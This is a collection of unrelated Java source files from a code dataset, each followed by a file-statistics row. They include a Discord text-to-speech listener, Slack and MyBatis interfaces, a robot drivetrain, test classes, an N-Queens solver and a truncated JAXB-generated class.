// http://www.apache.org/licenses/LICENSE-2.0 /
// /
// Unless required by applicable law or agreed to in writing, software /
// distributed under the License is distributed on an "AS IS" BASIS, /
// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied./
// See the License for the specific language governing permissions and /
// limitations under the License. /
////////////////////////////////////////////////////////////////////////////////
package dev.cosgy.TextToSpeak.listeners;
import com.sedmelluq.discord.lavaplayer.player.AudioLoadResultHandler;
import com.sedmelluq.discord.lavaplayer.tools.FriendlyException;
import com.sedmelluq.discord.lavaplayer.track.AudioPlaylist;
import com.sedmelluq.discord.lavaplayer.track.AudioTrack;
import dev.cosgy.TextToSpeak.Bot;
import dev.cosgy.TextToSpeak.audio.AudioHandler;
import dev.cosgy.TextToSpeak.audio.QueuedTrack;
import dev.cosgy.TextToSpeak.audio.VoiceCreation;
import net.dv8tion.jda.api.JDA;
import net.dv8tion.jda.api.entities.*;
import net.dv8tion.jda.api.events.ReadyEvent;
import net.dv8tion.jda.api.events.message.MessageReceivedEvent;
import net.dv8tion.jda.api.hooks.ListenerAdapter;
public class MessageListener extends ListenerAdapter {
private final Bot bot;
public MessageListener(Bot bot){
this.bot = bot;
}
@Override
public void onMessageReceived(MessageReceivedEvent event)
{
JDA jda = event.getJDA();
long responseNumber = event.getResponseNumber();//前回の再接続以降にJDAが受信した不一致イベントの量。
//イベント固有の情報
User author = event.getAuthor(); //メッセージを送信したユーザー
Message message = event.getMessage(); //受信したメッセージ。
MessageChannel channel = event.getChannel(); //メッセージが送信されたMessageChannel
String msg = message.getContentDisplay();
//人間が読める形式のメッセージが返されます。 クライアントに表示されるものと同様。
boolean isBot = author.isBot();
//if(Arrays.asList(mentionedUsers).contains())
//メッセージを送信したユーザーがBOTであるかどうかを判断。
if(event.isFromType(ChannelType.TEXT)){
if(isBot) return;
Guild guild = event.getGuild();
TextChannel textChannel = event.getTextChannel();
TextChannel settingText = bot.getSettingsManager().getSettings(guild).getTextChannel(guild);
if(!guild.getAudioManager().isConnected()){
return;
}
String prefix = bot.getConfig().getPrefix().equals("@mention") ? "@" + event.getJDA().getSelfUser().getName() + " " : bot.getConfig().getPrefix();
if(msg.startsWith(prefix)){
return;
}
// URLを置き換え
msg = msg.replaceAll("(http://|https://)[\\w.\\-/:#?=&;%~+]+","ゆーあーるえる");
if(textChannel == settingText){
if(bot.getSettingsManager().getSettings(guild).isReadName()){
msg = author.getName() + " " + msg;
}
VoiceCreation vc = bot.getVoiceCreation();
String file = vc.CreateVoice(guild,author, msg);
bot.getPlayerManager().loadItemOrdered(event.getGuild(), file, new ResultHandler(null, event, false));
//textChannel.sendMessage(author.getName() + "が、「"+ msg +"」と送信しました。").queue();
}
}
}
@Override
public void onReady(ReadyEvent e){
bot.getDictionary().Init();
}
private class ResultHandler implements AudioLoadResultHandler {
private final Message m;
private final MessageReceivedEvent event;
private final boolean ytsearch;
private ResultHandler(Message m, MessageReceivedEvent event, boolean ytsearch) {
this.m = m;
this.event = event;
this.ytsearch = ytsearch;
}
private void loadSingle(AudioTrack track, AudioPlaylist playlist) {
AudioHandler handler = (AudioHandler) event.getGuild().getAudioManager().getSendingHandler();
handler.addTrack(new QueuedTrack(track, event.getAuthor()));
}
private int loadPlaylist(AudioPlaylist playlist, AudioTrack exclude) {
int[] count = {0};
playlist.getTracks().forEach((track) -> {
if (!track.equals(exclude)) {
AudioHandler handler = (AudioHandler) event.getGuild().getAudioManager().getSendingHandler();
handler.addTrack(new QueuedTrack(track, event.getAuthor()));
count[0]++;
}
});
return count[0];
}
@Override
public void trackLoaded(AudioTrack track) {
loadSingle(track, null);
}
@Override
public void playlistLoaded(AudioPlaylist playlist) {
}
@Override
public void noMatches() {
}
@Override
public void loadFailed(FriendlyException throwable) {
}
}
}
| 38.527027 | 158 | 0.564013 |
1620d135ab39de2be822407013ecb8da11bb9718 | 913 | /**
* Created by bkunzhang on 2019/3/31.
*/
public class TestThis2 {
int v = 15;
static float staticF = 12.5F;
public static void main(String[] args) {
//1 访问局部变量
int a = 5;
Converter<Integer, String> converter = from -> String.valueOf(from + a);
System.out.println(converter.convert(1));
// a = 8; //can't
TestThis2 testThis2 = new TestThis2();
testThis2.f2();
System.out.println("testThis2.v=" + testThis2.v);
System.out.println("staticF=" + staticF);
}
void f2() {
//2 访问成员变量和静态变量
Converter<String, String> c2 = from -> {
v = 22;
return from;
};
System.out.println(c2.convert("a1"));
Converter<String, String> c3 = from -> {
staticF = 88F;
return from;
};
System.out.println(c3.convert("a2"));
}
}
| 21.232558 | 80 | 0.520263 |
5f8e7e5701ac0689b60890ab644905d81dc5e1fe | 1,746 | package com.slack.api.bolt.context;
import com.slack.api.Slack;
import com.slack.api.app_backend.views.InputBlockResponseSender;
import com.slack.api.app_backend.views.payload.ViewSubmissionPayload;
import com.slack.api.app_backend.views.response.InputBlockResponse;
import com.slack.api.bolt.util.BuilderConfigurator;
import com.slack.api.model.block.LayoutBlock;
import com.slack.api.webhook.WebhookResponse;
import java.io.IOException;
import java.util.List;
public interface InputBlockRespondUtility {
Slack getSlack();
InputBlockResponseSender getResponder(String blockId, String actionId);
InputBlockResponseSender getFirstResponder();
List<ViewSubmissionPayload.ResponseUrl> getResponseUrls();
default WebhookResponse respond(String text) throws IOException {
return respond(InputBlockResponse.builder().text(text).build());
}
default WebhookResponse respond(List<LayoutBlock> blocks) throws IOException {
return respond(InputBlockResponse.builder().blocks(blocks).build());
}
default WebhookResponse respond(InputBlockResponse response) throws IOException {
InputBlockResponseSender responder = getFirstResponder();
if (responder == null) {
throw new IllegalStateException("This payload doesn't have response_urls. " +
"The response_urls are available only when your modal has input block elements with response_url_enabled = true.");
}
return responder.send(response);
}
default WebhookResponse respond(
BuilderConfigurator<InputBlockResponse.InputBlockResponseBuilder> builder) throws IOException {
return respond(builder.configure(InputBlockResponse.builder()).build());
}
}
| 37.148936 | 135 | 0.756586 |
ffb03b53bf0bb0f8124f19c7bd084d310ab52330 | 2,362 | /*
* Copyright (c) [year] Thirty Meter Telescope International Observatory
* SPDX-License-Identifier: Apache-2.0
*/
package example.time;
import akka.actor.ActorRef;
import akka.actor.typed.ActorSystem;
import akka.actor.typed.Behavior;
import akka.actor.typed.javadsl.Adapter;
import akka.actor.typed.scaladsl.ActorContext;
import csw.time.core.models.UTCTime;
import csw.time.scheduler.TimeServiceSchedulerFactory;
import csw.time.scheduler.api.Cancellable;
import csw.time.scheduler.api.TimeServiceScheduler;
import java.time.Duration;
public class JSchedulerExamples {
private ActorContext<UTCTime> ctx;
private final UTCTime utcTime = UTCTime.now();
final TimeServiceScheduler scheduler;
public JSchedulerExamples(ActorSystem<Object> actorSystem) {
//#create-scheduler
// create time service scheduler using the factory method
TimeServiceScheduler scheduler = new TimeServiceSchedulerFactory(actorSystem.scheduler()).make( actorSystem.executionContext());
//#create-scheduler
this.scheduler = scheduler;
}
void scheduleOnce() {
UTCTime utcTime = UTCTime.now();
// #schedule-once
Runnable task = () -> {/* do something*/};
scheduler.scheduleOnce(utcTime, task);
// #schedule-once
}
// #schedule-once-with-actorRef
static class SchedulingHandler {
public static Behavior<UTCTime> behavior() {
// handle the message to execute the task on scheduled time
return null;
}
}
Cancellable schedule() {
ActorRef actorRef = Adapter.toClassic(ctx.asJava().spawnAnonymous(SchedulingHandler.behavior()));
return scheduler.scheduleOnce(utcTime, actorRef, UTCTime.now());
}
// #schedule-once-with-actorRef
void schedulePeriodically() {
// #schedule-periodically
// #schedule-periodically-with-startTime
Runnable task = () -> {/* do something*/};
// #schedule-periodically-with-startTime
scheduler.schedulePeriodically(Duration.ofMillis(50), task);
// #schedule-periodically
Runnable runnable = () -> {/* do something*/};
// #schedule-periodically-with-startTime
scheduler.schedulePeriodically(utcTime, Duration.ofMillis(50), task);
// #schedule-periodically-with-startTime
}
}
| 31.078947 | 136 | 0.687976 |
731cd034c5c8f0136fa93f5bd5fa8695eb6a1d78 | 3,199 | package com.zimbra.qa.selenium.projects.ajax.tests.mail.newwindow.mail;
import org.testng.annotations.Test;
import com.zimbra.qa.selenium.framework.core.Bugs;
import com.zimbra.qa.selenium.framework.items.MailItem;
import com.zimbra.qa.selenium.framework.ui.*;
import com.zimbra.qa.selenium.framework.util.*;
import com.zimbra.qa.selenium.projects.ajax.core.PrefGroupMailByMessageTest;
import com.zimbra.qa.selenium.projects.ajax.ui.mail.*;
public class RedirectMessage extends PrefGroupMailByMessageTest {
public RedirectMessage() {
logger.info("New "+ RedirectMessage.class.getCanonicalName());
}
@Test( description = "Redirect message, using 'Redirect' toolbar button - in separate window",
groups = { "smoke" })
public void RedirectMessage_01() throws HarnessException {
String subject = "subject"+ ZimbraSeleniumProperties.getUniqueString();
// Send a message to the account
ZimbraAccount.AccountA().soapSend(
"<SendMsgRequest xmlns='urn:zimbraMail'>" +
"<m>" +
"<e t='t' a='"+ app.zGetActiveAccount().EmailAddress +"'/>" +
"<su>"+ subject +"</su>" +
"<mp ct='text/plain'>" +
"<content>content"+ ZimbraSeleniumProperties.getUniqueString() +"</content>" +
"</mp>" +
"</m>" +
"</SendMsgRequest>");
// Get the mail item for the new message
MailItem mail = MailItem.importFromSOAP(app.zGetActiveAccount(), "subject:("+ subject +")");
// Click Get Mail button
app.zPageMail.zToolbarPressButton(Button.B_GETMAIL);
// Select the item
app.zPageMail.zListItem(Action.A_LEFTCLICK, mail.dSubject);
SeparateWindowDisplayMail window = null;
try {
// Choose Actions -> Launch in Window
window = (SeparateWindowDisplayMail)app.zPageMail.zToolbarPressPulldown(Button.B_ACTIONS, Button.B_LAUNCH_IN_SEPARATE_WINDOW);
window.zSetWindowTitle(subject);
window.zWaitForActive(); // Make sure the window is there
ZAssert.assertTrue(window.zIsActive(), "Verify the window is active");
// Click redirect
SeparateWindowDialogRedirect dialog = (SeparateWindowDialogRedirect)window.zToolbarPressPulldown(Button.B_ACTIONS, Button.B_REDIRECT);
dialog.zFillField(SeparateWindowDialogRedirect.Field.To, ZimbraAccount.AccountB().EmailAddress);
dialog.zClickButton(Button.B_OK);
} finally {
// Make sure to close the window
if ( window != null ) {
window.zCloseWindow();
window = null;
}
}
// Verify the redirected message is received
MailItem received = MailItem.importFromSOAP(ZimbraAccount.AccountB(), "subject:("+ subject +")");
ZAssert.assertNotNull(received, "Verify the redirected message is received");
ZAssert.assertEquals(received.dRedirectedFromRecipient.dEmailAddress, app.zGetActiveAccount().EmailAddress, "Verify the message shows as redirected from the test account");
}
@Bugs( ids = "62170")
@Test( description = "Redirect message, using 'Redirect' shortcut key - in separate window",
groups = { "functional" })
public void RedirectMessage_02() throws HarnessException {
throw new HarnessException("See bug https://bugzilla.zimbra.com/show_bug.cgi?id=62170");
}
}
| 30.466667 | 174 | 0.715849 |
892913627b0779ac31df6bc57dbd7dd6734aeaa8 | 1,414 | package com.socialmetrix.templater.geometry;
import com.socialmetrix.templater.TemplaterException;
public class Rectangle {
private final int rowCount;
private final int columnCount;
public Rectangle(int rowCount, int columnCount) {
if (rowCount < 0 || columnCount < 0) {
throw new NegativeRectangleException(rowCount, columnCount);
}
this.rowCount = rowCount;
this.columnCount = columnCount;
}
public int getRowCount() {
return rowCount;
}
public int getColumnCount() {
return columnCount;
}
public boolean isEmpty() {
return rowCount == 0 && columnCount == 0;
}
@Override
public int hashCode() {
final int prime = 31;
int result = 1;
result = prime * result + columnCount;
result = prime * result + rowCount;
return result;
}
@Override
public boolean equals(Object obj) {
if (obj == null || getClass() != obj.getClass())
return false;
Rectangle other = (Rectangle) obj;
return (columnCount == other.columnCount) && //
(rowCount == other.rowCount);
}
@Override
public String toString() {
return rowCount + "x" + columnCount;
}
public static class NegativeRectangleException extends TemplaterException {
private static final long serialVersionUID = -3294474942659798953L;
public NegativeRectangleException(int rowCount, int columnCount) {
super("Can't create a negative rectangle [" + rowCount + ":" + columnCount + "].");
}
}
}
| 22.806452 | 86 | 0.705799 |
f2885390851cef0d31333f4a6c20ed8d6ce51da1 | 447 | package com.fh.mall.common;
/**
* Description: 一个公共的运行时异常类,方便异常处理
*
* @Author: HueFu
* @Date: 2020-9-1 10:04
*/
public class MallException extends RuntimeException {
public MallException() {
super();
}
public MallException(String message) {
super(message);
}
/**
* 丢出一个异常
* @param message
*/
public static void fail(String message) {
throw new MallException(message);
}
}
| 17.192308 | 53 | 0.60179 |
cb06aec95e57773fab87a2b257c5d84f1944faef | 4,582 | package com.upuphub.dew.community.general.api.controller;
import com.upuphub.dew.community.connection.protobuf.account.Location;
import com.upuphub.dew.community.general.api.bean.vo.common.ServiceResponseMessage;
import io.swagger.annotations.Api;
import io.swagger.annotations.ApiOperation;
import io.swagger.annotations.ApiParam;
import org.springframework.http.HttpHeaders;
import org.springframework.http.MediaType;
import org.springframework.web.bind.annotation.*;
import javax.servlet.http.HttpServletResponse;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.InputStream;
import java.nio.charset.StandardCharsets;
import java.util.Base64;
import java.util.zip.GZIPInputStream;
/**
* 瞬间动态模块得前端控制器
*
* @author Leo Wang
* @version 1.0
* @date 2019/8/6 21:27
*/
@RestController
@RequestMapping(value = "/api/test")
@Api(value = "ProtobufTest", tags = "测试API")
public class ProtobufTestController {
@ApiOperation(value = "ProtobufTest")
@ApiParam(name = "inputStream", required = true, value = "ProtobufTest")
@PostMapping(value = "/protobuf/base64", consumes = "application/x-protobuf;charset=UTF-8", produces = MediaType.APPLICATION_JSON_UTF8_VALUE)
public ServiceResponseMessage postProtobufBase64(InputStream inputStream) throws IOException {
byte[] body = input2byte(inputStream);
String base64 = new String(body, StandardCharsets.UTF_8);
byte[] protoBytes = Base64.getDecoder().decode(base64);
Location location = Location.parseFrom(protoBytes);
return ServiceResponseMessage.createBySuccessCodeMessage(location.getCity() + location.getCountry() + location.getProvince() + location.getLatitude());
}
@ApiOperation(value = "ProtobufTest")
@ApiParam(name = "inputStream", required = true, value = "ProtobufTest")
@PostMapping(value = "/protobuf/byte", consumes = "application/x-protobuf;charset=UTF-8", produces = MediaType.APPLICATION_JSON_UTF8_VALUE)
public ServiceResponseMessage postProtobufByte(InputStream inputStream) throws IOException {
byte[] body = input2byte(inputStream);
Location location = Location.parseFrom(body);
return ServiceResponseMessage.createBySuccessCodeMessage(location.getCity() + location.getCountry() + location.getProvince() + location.getLatitude());
}
@ApiOperation(value = "ProtobufTest")
@GetMapping(value = "/protobuf/byte")
public void getMomentsDynamicContent(HttpServletResponse httpServletResponse) throws IOException {
Location location = Location.newBuilder()
.setCity("Chengdu")
.setCountry("China")
.setLatitude(200.11)
.setLongitude(211.11)
.setProvince("四川")
.setUin(100000L)
.setStreet("高新区")
.build();
httpServletResponse.setHeader(HttpHeaders.CONTENT_TYPE, "application/x-protobuf;charset=UTF-8");
httpServletResponse.getOutputStream().write(location.toByteArray());
}
@ApiOperation(value = "ProtobufTest")
@GetMapping(value = "/protobuf/base64")
public void getProtobufTestBase64(HttpServletResponse httpServletResponse) throws IOException {
Location location = Location.newBuilder()
.setCity("Chengdu")
.setCountry("China")
.setLatitude(200.11)
.setLongitude(211.11)
.setProvince("四川")
.setUin(100000L)
.setStreet("高新区")
.build();
httpServletResponse.setHeader(HttpHeaders.CONTENT_TYPE, "application/x-protobuf;charset=UTF-8");
httpServletResponse.getOutputStream().write(Base64.getEncoder().encode(location.toByteArray()));
}
public static byte[] input2byte(InputStream inStream) throws IOException {
ByteArrayOutputStream swapStream = new ByteArrayOutputStream();
byte[] buff = new byte[100];
int rc;
while ((rc = inStream.read(buff, 0, 100)) > 0) {
swapStream.write(buff, 0, rc);
}
return swapStream.toByteArray();
}
public static byte[] unCompress(InputStream in) throws IOException {
if (in == null) {
return null;
}
ByteArrayOutputStream out = new ByteArrayOutputStream();
GZIPInputStream unGzip = new GZIPInputStream(in);
byte[] buffer = new byte[256];
int n;
while ((n = unGzip.read(buffer)) >= 0) {
out.write(buffer, 0, n);
}
return out.toByteArray();
}
}
| 42.036697 | 159 | 0.680925 |
6bca0198ae392832ed39cb3ee0209195d2fd8c4f | 2,750 | // Copyright (c) FIRST and other WPILib contributors.
// Open Source Software; you can modify and/or share it under the terms of
// the WPILib BSD license file in the root directory of this project.
package frc.robot.subsystems;
import edu.wpi.first.wpilibj.ADXRS450_Gyro;
import edu.wpi.first.wpilibj.Sendable;
import edu.wpi.first.wpilibj.SpeedController;
import edu.wpi.first.wpilibj.SpeedControllerGroup;
import edu.wpi.first.wpilibj.drive.DifferentialDrive;
import edu.wpi.first.wpilibj.interfaces.Gyro;
import edu.wpi.first.wpilibj.smartdashboard.SmartDashboard;
import edu.wpi.first.wpilibj2.command.SubsystemBase;
import frc.robot.Constants;
import com.ctre.phoenix.motorcontrol.can.WPI_VictorSPX;
public class DriveTrain extends SubsystemBase {
private final WPI_VictorSPX leftMotor1;
private final WPI_VictorSPX leftMotor2;
private final WPI_VictorSPX rightMotor1;
private final WPI_VictorSPX rightMotor2;
private final SpeedController m_left;
private final SpeedController m_right;
private final Gyro m_gyro;
private final DifferentialDrive m_drive;
/** Creates a new DriveTrain. */
public DriveTrain() {
leftMotor1 = new WPI_VictorSPX(Constants.DRIVE_LEFT_VICTORSPX0);
leftMotor2 = new WPI_VictorSPX(Constants.DRIVE_LEFT_VICTORSPX1);
rightMotor1 = new WPI_VictorSPX(Constants.DRIVE_RIGHT_VICTORSPX0);
rightMotor2 = new WPI_VictorSPX(Constants.DRIVE_RIGHT_VICTORSPX1);
m_left = new SpeedControllerGroup(leftMotor1, leftMotor2);
m_right = new SpeedControllerGroup(rightMotor1, rightMotor2);
m_gyro = new ADXRS450_Gyro();
m_drive = new DifferentialDrive(m_left, m_right);
// Sensors on SmartDashboard
addChild("Drive", m_drive);
addChild("Gyro", (Sendable) m_gyro);
}
/**
* Arcade style driving for the DriveTrain
*
* @param speed in range [-1.0, 1.0]
* @param rotate in range [-1.0, 1.0]. Clockwise is positive.
*/
public void set(double speed, double rotate) {
m_drive.arcadeDrive(speed, rotate);
}
/** Stops the drivetrain motors */
public void stop() {
m_drive.stopMotor();
}
/**
* Gets the robot's heading
*
* @return The robot's heading in degrees.
*/
public double getHeading() {
return m_gyro.getAngle();
}
/** Resets the gyro to a zero state */
public void resetGyro() {
m_gyro.reset();
m_gyro.calibrate();
}
/** Puts information in the SmartDashboard */
public void log() {
SmartDashboard.putNumber("Left Speed", m_left.get());
SmartDashboard.putNumber("Right Speed", m_right.get());
SmartDashboard.putNumber("Gyro", m_gyro.getAngle());
}
@Override
public void periodic() {
// This method will be called once per scheduler run
log();
}
}
| 28.947368 | 74 | 0.729455 |
8100c069a375930bfdfa800795e4887b7ac64430 | 904 | package org.lognet.springboot.grpc.demo;
import lombok.extern.slf4j.Slf4j;
import org.aspectj.lang.annotation.After;
import org.aspectj.lang.annotation.AfterReturning;
import org.aspectj.lang.annotation.Aspect;
import org.aspectj.lang.annotation.Before;
import org.springframework.context.annotation.Profile;
import org.springframework.stereotype.Component;
/**
* Created by 310242212 on 01-Nov-16.
*/
@Aspect
@Component
@Profile(value = {"aopTest"})
@Slf4j
public class AopServiceMonitor {
public AopServiceMonitor() {
}
//@AfterReturning("execution(* org.lognet..*Service.*(..))")
@After("execution(* org.lognet..*Service.*(..))")
public void afterLogServiceAccess( ) {
log.info("Hi from AOP. - after");
}
@Before("execution(* org.lognet..*Service.*(..))")
public void beforeLogServiceAccess( ) {
log.info("Hi from AOP. - before");
}
} | 22.04878 | 64 | 0.693584 |
9e30d0a4344f60c1cb676e47ef4006ee2b0ee91e | 2,416 | package com.zwwhnly.mybatisaction.mapper;
import com.zwwhnly.mybatisaction.model.SysRole;
import com.zwwhnly.mybatisaction.model.SysRoleExtend;
import org.apache.ibatis.annotations.*;
import java.util.List;
public interface SysRoleMapper {
@Select("SELECT id,role_name,enabled,create_by,create_time FROM sys_role WHERE id = #{id}")
SysRole selectById(Long id);
@Results(id = "roleResultMap", value = {
@Result(property = "id", column = "id", id = true),
@Result(property = "roleName", column = "role_name"),
@Result(property = "enabled", column = "enabled"),
@Result(property = "createBy", column = "create_by"),
@Result(property = "createTime", column = "create_time")
})
@Select("SELECT id,role_name,enabled,create_by,create_time FROM sys_role WHERE id = #{id}")
SysRole selectByIdUseResults(Long id);
@ResultMap("roleResultMap")
@Select("SELECT * FROM sys_role")
List<SysRole> selectAll();
@Insert({"INSERT INTO sys_role(id, role_name, enabled, create_by, create_time) ",
"VALUES (#{id},#{roleName},#{enabled},#{createBy},#{createTime,jdbcType=TIMESTAMP})"})
int insert(SysRole sysRole);
@Insert({"INSERT INTO sys_role(role_name, enabled, create_by, create_time) ",
"VALUES (#{roleName},#{enabled},#{createBy},#{createTime,jdbcType=TIMESTAMP})"})
@Options(useGeneratedKeys = true, keyProperty = "id")
int insertUseGeneratedKeys(SysRole sysRole);
@Insert({"INSERT INTO sys_role(role_name, enabled, create_by, create_time) ",
"VALUES (#{roleName},#{enabled},#{createBy},#{createTime,jdbcType=TIMESTAMP})"})
@SelectKey(statement = "SELECT LAST_INSERT_ID()", keyColumn = "id", keyProperty = "id", resultType = Long.class, before = false)
int insertUseSelectKey(SysRole sysRole);
@Update({"UPDATE sys_role ", "SET role_name = #{roleName},enabled = #{enabled},create_by=#{createBy}, ",
"create_time=#{createTime,jdbcType=TIMESTAMP} ", " WHERE id=#{id}"})
int updateById(SysRole sysRole);
@Delete("DELETE FROM sys_role WHERE id = #{id}")
int deleteById(Long id);
List<SysRoleExtend> selectAllRoleAndPrivileges();
List<SysRole> selectRoleByUserId(Long userId);
/**
* 根据用户id获取用户的角色信息
*
* @param userId
* @return
*/
List<SysRoleExtend> selectRoleByUserIdChoose(Long userId);
}
| 40.266667 | 132 | 0.66846 |
db12d62f39ae6b4f40542bd0c921b1ca71346563 | 3,548 | package io.sovaj.basics.test.random.spring;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;
import org.slf4j.Logger;
import org.slf4j.LoggerFactory;
import org.apache.commons.lang.builder.HashCodeBuilder;
import io.sovaj.basics.test.random.RandomFactoryToolkit;
import org.springframework.aop.support.AopUtils;
/**
* Un {@link InvocationHandler} qui renvoie des objets al�atoires.
*
*/
public class RandomInvocationHandler implements InvocationHandler {
/**
* {@link Logger}
*/
private static final Logger LOGGER = LoggerFactory.getLogger(RandomInvocationHandler.class);
/**
* Indique s'il faut mettre en cache les r�sultats des invocations
*/
private boolean useResultsCache = true;
/**
* results cache
*/
private Map<Integer, Object> resultsCache = new HashMap<Integer, Object>();
/**
* {@inheritDoc}
*/
public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
if (AopUtils.isEqualsMethod(method)) {
if (LOGGER.isDebugEnabled()) {
LOGGER.debug("Invocation of 'equals' method");
}
// The target does not implement the equals(Object) method itself.
return equals(args[0]);
}
if (AopUtils.isHashCodeMethod(method)) {
if (LOGGER.isDebugEnabled()) {
LOGGER.debug("Invocation of 'hashcode' method");
}
// The target does not implement the hashCode() method itself.
return hashCode();
}
// void method
Class< ? > returnType = method.getReturnType();
if (LOGGER.isDebugEnabled()) {
LOGGER.debug("ReturnType is {}", returnType);
}
if (Void.TYPE.equals(returnType)) {
if (LOGGER.isDebugEnabled()) {
LOGGER.debug("Invocation of method returning void");
}
return null;
}
// build invocation hash code
int invocationHashCode = new HashCodeBuilder().append(method).append(args).toHashCode();
if (LOGGER.isDebugEnabled()) {
LOGGER.debug("Invocation hashcode is {}", invocationHashCode);
}
Object result;
if (useResultsCache) {
// lookup for cached result
result = resultsCache.get(invocationHashCode);
if (result == null) {
// generate new result
result = generate(returnType);
resultsCache.put(invocationHashCode, result);
} else if (LOGGER.isDebugEnabled()) {
LOGGER.debug("Random result returned from cache");
}
} else {
// generate new result
result = generate(returnType);
}
return result;
}
/**
* @param returnType {@link Class}
* @return objet al�atoire
*/
private Object generate(Class< ? > returnType) {
Object result = RandomFactoryToolkit.generate(returnType);
if (LOGGER.isDebugEnabled()) {
LOGGER.debug("Random result generated");
}
return result;
}
/**
* Efface les r�sultats du cache
*/
public void clearResultsCache() {
this.resultsCache.clear();
}
/**
* @param useResultsCache the useResultsCache to set
*/
public void setUseResultsCache(boolean useResultsCache) {
this.useResultsCache = useResultsCache;
}
}
| 29.815126 | 96 | 0.600056 |
1aeaf9b89fdbed4626abd8bf1b4f97c07ca1367e | 484 | package ru.yammi.modulesystem.modules;
import ru.yammi.eventsystem.EventTarget;
import ru.yammi.eventsystem.events.UpdateEvent;
import ru.yammi.modulesystem.Module;
import ru.yammi.modulesystem.ModuleCategory;
public class FastLadderModule extends Module {
public FastLadderModule() {
super("FastLadder", ModuleCategory.MISC);
}
@EventTarget
public void onUpdate(UpdateEvent oTTDuKOxgEObFPc2) {
if (getState() && mc.player.isOnLadder())
mc.player.motionY = 0.338;
}
}
| 24.2 | 53 | 0.778926 |
178544570f3d408a02ba1bcb93d23b26fdb41f9c | 2,736 | package me.screenHonchoteam.screenhoncho.presentation;
import android.os.Bundle;
import android.support.annotation.Nullable;
import android.support.v4.app.Fragment;
import android.view.LayoutInflater;
import android.view.View;
import android.view.ViewGroup;
import android.widget.Button;
import me.screenHonchoteam.screenhoncho.MainActivity;
import me.screenHonchoteam.screenhoncho.R;
/**
* A simple {@link Fragment} subclass.
*/
public class PresentationFragment extends Fragment implements View.OnClickListener {
private Button downArrowButton, upArrowButton, f5Button, leftArrowButton, rightArrowButton;
public PresentationFragment() {
}
@Override
public View onCreateView(LayoutInflater inflater, ViewGroup container,
Bundle savedInstanceState) {
// Inflate the layout for this fragment
View rootView = inflater.inflate(R.layout.fragment_presentation, container, false);
downArrowButton = (Button) rootView.findViewById(R.id.downArrowButton);
upArrowButton = (Button) rootView.findViewById(R.id.upArrowButton);
leftArrowButton = (Button) rootView.findViewById(R.id.leftArrowButton);
rightArrowButton = (Button) rootView.findViewById(R.id.rightArrowButton);
f5Button = (Button) rootView.findViewById(R.id.f5Button);
downArrowButton.setOnClickListener(this);
leftArrowButton.setOnClickListener(this);
upArrowButton.setOnClickListener(this);
rightArrowButton.setOnClickListener(this);
f5Button.setOnClickListener(this);
return rootView;
}
@Override
public void onViewCreated(View view, @Nullable Bundle savedInstanceState) {
super.onViewCreated(view, savedInstanceState);
getActivity().setTitle(getResources().getString(R.string.presentation));
}
@Override
public void onClick(View v) {
int id = v.getId();
String action = "F5_KEY";
switch (id) {
case R.id.downArrowButton:
action = "DOWN_ARROW_KEY";
break;
case R.id.leftArrowButton:
action = "LEFT_ARROW_KEY";
break;
case R.id.upArrowButton:
action = "UP_ARROW_KEY";
break;
case R.id.rightArrowButton:
action = "RIGHT_ARROW_KEY";
break;
case R.id.f5Button:
action = "F5_KEY";
break;
}
sendActionToServer(action);
}
private void sendActionToServer(String action)
{
MainActivity.sendMessageToServer(action);
}
}
| 33.777778 | 96 | 0.642544 |
ce9f8eb1855c130cd0c5a02f85cec8dab1178ab0 | 1,859 | package roundone;
import java.util.ArrayList;
import java.util.Arrays;
import java.util.List;
//N queen
public class Solution51 {
class Solution {
public List<List<String>> solveNQueens(int n) {
char[][] board = new char[n][n];
for (int i = 0; i < n; i++) {
Arrays.fill(board[i], '.');
}
List<List<String>> ans = new ArrayList<>();
solve(board, ans, 0);
return ans;
}
private void solve(char[][] board, List<List<String>> ans, int col) {
if (col == board.length) {
ans.add(construct(board));
return;
}
for (int i = 0; i < board.length; i++) {
if (canPut(board, i, col)) {
board[i][col] = 'Q';
solve(board, ans, col + 1);
board[i][col] = '.';
}
}
}
private List<String> construct(char[][] board) {
List<String> ans = new ArrayList<>();
for (int i = 0; i < board.length; i++) {
ans.add(new String(board[i]));
}
return ans;
}
private boolean canPut(char[][] board, int row, int col) {
for (int j = 0; j < board.length; j++) {
if (board[row][j] == 'Q') {
return false;
}
}
for (int i = row, j = col; i >= 0 && j >= 0; i--, j--) {
if (board[i][j] == 'Q') {
return false;
}
}
for (int i = row, j = col; i < board.length && j >= 0; i++, j--) {
if (board[i][j] == 'Q') {
return false;
}
}
return true;
}
}
}
| 23.2375 | 78 | 0.382464 |
9a7dc99119f8b52424731cfea3503c29bde61554 | 148 | /**
*
*/
/**
* @author Irina
* Neste paquete introduciremos todas as clases necesarias para empregar PARSE
*
*/
package com.irina.xcep.parse; | 16.444444 | 78 | 0.682432 |
04a37ad525af1cc3440850bb7a5a87ff633b451a | 3,113 |
package com.barentine.totalconnect.ws;
import javax.xml.bind.annotation.XmlAccessType;
import javax.xml.bind.annotation.XmlAccessorType;
import javax.xml.bind.annotation.XmlElement;
import javax.xml.bind.annotation.XmlType;
/**
* <p>Java class for VideoURLEx complex type.
*
* <p>The following schema fragment specifies the expected content contained within this class.
*
* <pre>
* <complexType name="VideoURLEx">
* <complexContent>
* <restriction base="{http://www.w3.org/2001/XMLSchema}anyType">
* <sequence>
* <element name="URL" type="{http://www.w3.org/2001/XMLSchema}string" minOccurs="0"/>
* <element name="imageWidth" type="{http://www.w3.org/2001/XMLSchema}int"/>
* <element name="imageHeight" type="{http://www.w3.org/2001/XMLSchema}int"/>
* <element name="videoType" type="{http://www.w3.org/2001/XMLSchema}short"/>
* <element name="isValid" type="{http://www.w3.org/2001/XMLSchema}boolean"/>
* </sequence>
* </restriction>
* </complexContent>
* </complexType>
* </pre>
*
*
*/
@XmlAccessorType(XmlAccessType.FIELD)
@XmlType(name = "VideoURLEx", propOrder = {
"url",
"imageWidth",
"imageHeight",
"videoType",
"isValid"
})
public class VideoURLEx {
@XmlElement(name = "URL")
protected String url;
protected int imageWidth;
protected int imageHeight;
protected short videoType;
protected boolean isValid;
/**
* Gets the value of the url property.
*
* @return
* possible object is
* {@link String }
*
*/
public String getURL() {
return url;
}
/**
* Sets the value of the url property.
*
* @param value
* allowed object is
* {@link String }
*
*/
public void setURL(String value) {
this.url = value;
}
/**
